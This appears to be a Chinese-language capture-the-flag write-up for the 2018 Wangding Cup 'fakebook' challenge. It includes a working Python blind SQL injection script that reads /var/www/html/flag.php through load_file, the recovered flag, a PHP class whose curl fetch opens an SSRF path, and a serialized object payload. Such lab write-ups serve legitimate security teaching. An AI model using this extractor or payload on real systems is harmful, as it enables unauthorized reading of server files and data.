[网鼎杯2018]fakebook题解

[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1)
Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

import requests
def exp(url_format,length=None):
    rlt = ''
    url  = url_format
    if length==None:
        length = 50
    for l in range(1,length+1):
        begin = 1
        ends = 126
        tmp = (begin+ends)//2
        while begin<ends:
            r = requests.get(url.format(l,tmp))
            #判断条件根据情况修改
            if b'http://www.baidu.com' in r.content:
                begin = tmp+1
                tmp = (begin+ends)//2 
            else:
                ends = tmp
                tmp = (begin+ends)//2
        rlt+=chr(tmp)
        print(rlt)
    return rlt.rstrip()
url = "http://812a2fb3-abaa-4b68-98b4-2bc2172d4509.node3.buuoj.cn/view.php?no=elt(ord(substr(load_file(%27/var/www/html/flag.php%27),{},1))%3E{},1)"
exp(url,400)

elt(ord(substr(load_file('/var/www/html/flag.php'),?,1))>?,1)

<?php
$flag = "flag{98207bdb-3d8f-43df-9956-2211c9fa9b05}";
exit(0);

<?php
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
}

data: O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:20:"http://www.baidu.com";}